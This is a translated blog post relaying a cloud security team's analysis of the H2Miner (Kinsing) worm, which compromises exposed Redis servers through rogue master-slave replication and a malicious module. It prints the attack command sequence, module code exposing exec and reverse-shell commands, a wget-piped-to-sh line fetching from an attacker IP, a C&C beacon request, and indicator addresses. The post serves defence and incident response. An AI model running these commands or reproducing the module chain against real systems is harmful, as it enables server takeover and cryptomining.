A day ago, one of the servers in my project was attacked by a similar worm. In search of the answer to the question 'what was that?', I found a wonderful article by the Alibaba Cloud Security team. Since I couldn't find this article on Habr, I decided to translate it especially for you <3
Introduction
Recently, the Alibaba Cloud security team discovered a sudden outbreak of H2Miner. This type of malware worm uses the absence of authorization or weak passwords for Redis as gateways into your systems, after which it synchronizes its own malicious module with the slave via master-slave synchronization and ultimately uploads this malicious module to the attacked machine and executes harmful instructions.
In the past, attacks on your systems were mainly carried out using methods involving scheduled tasks or SSH keys that were written to your machine after the attacker gained access to Redis. Fortunately, this method is not used often due to permission control issues or different system versions. However, this method of loading a malicious module can directly execute commands from the attacker or gain access to a shell, which poses a danger to your system.
Due to the large number of servers Redis instances hosted on the internet (nearly 1 million), the Alibaba Cloud security team, as a friendly reminder, recommends that users do not expose Redis to the internet and regularly check the strength of their passwords, as well as ensure that they are not susceptible to brute force attacks.
H2Miner
H2Miner is a mining botnet for Linux-based systems that can infiltrate your system in various ways, including lack of authorization in Hadoop yarn, Docker, and the remote code execution vulnerability in Redis (RCE). The botnet operates by downloading malicious scripts and malware to mine your data, horizontally expanding attacks, and maintaining command-and-control (C&C) communication.
Redis RCE
Pavel Toporkov shared insights on this topic at ZeroNights 2018. After version 4.0, Redis supports the loading of external modules, allowing users to load .so files, compiled with C in Redis, for executing specific Redis commands. Although this feature is useful, it contains a vulnerability where files can be synchronized with slaves in master-slave mode through full resynchronization. This can be exploited by an attacker to transfer malicious .so files. Once the transfer is complete, attackers load the module onto the targeted Redis instance and execute any command.
Malicious Worm Analysis
Recently, the Alibaba Cloud security team discovered a sudden surge in the size of the H2Miner malicious mining group. According to the analysis, the overall process of the attack unfolds as follows:

H2Miner utilizes Redis RCE for a full-scale attack. Initially, attackers target unsecured Redis servers or servers with weak passwords.
Then they use the command config set dbfilename red2.so to change the filename. Following this, the attackers execute the command slaveof to set the master-slave replication host address.
When the attacked Redis instance establishes a master-slave connection with the malicious Redis owned by the attacker, the attacker sends the infected module using the fullresync command to synchronize files. Afterward, the red2.so file will be loaded onto the attacked machine. The attackers then use the .\/red2.so loading module to load this .so file. The module can execute the attacker's commands or initiate a reverse shell (backdoor) to gain access to the attacked machine.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
After executing a malicious command such as / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, the attacker will reset the backup filename and unload the system module to erase traces. However, the red2.so file will still remain on the attacked machine. Users are advised to be vigilant for such suspicious files in their Redis instance's folder.
In addition to terminating certain malicious processes to steal resources, the attacker followed a malicious script by downloading and executing malicious files in binary form to . This means that the process name or directory name containing kinsing on the host may indicate that this machine has been infected with this virus.
According to reverse engineering results, the malware primarily performs the following functions:
- File downloading and execution
- Mining
- Maintaining C&C communication and executing the attacker's commands

Use masscan for external scanning to extend reach. Additionally, the C&C server's IP address is hard-coded in the program, and the compromised host will interact with the C&C server using HTTP requests, where the zombie (hacked server) information is identified in the HTTP header.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Other attack methods

Addresses and links used by the worm
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Advice
First, Redis should not be exposed to the Internet and must be protected with a strong password. It is also important for clients to check for the absence of the red2.so file in the Redis directory and the absence of 'kinsing' in the filename/process on the host.
Source: habr.com
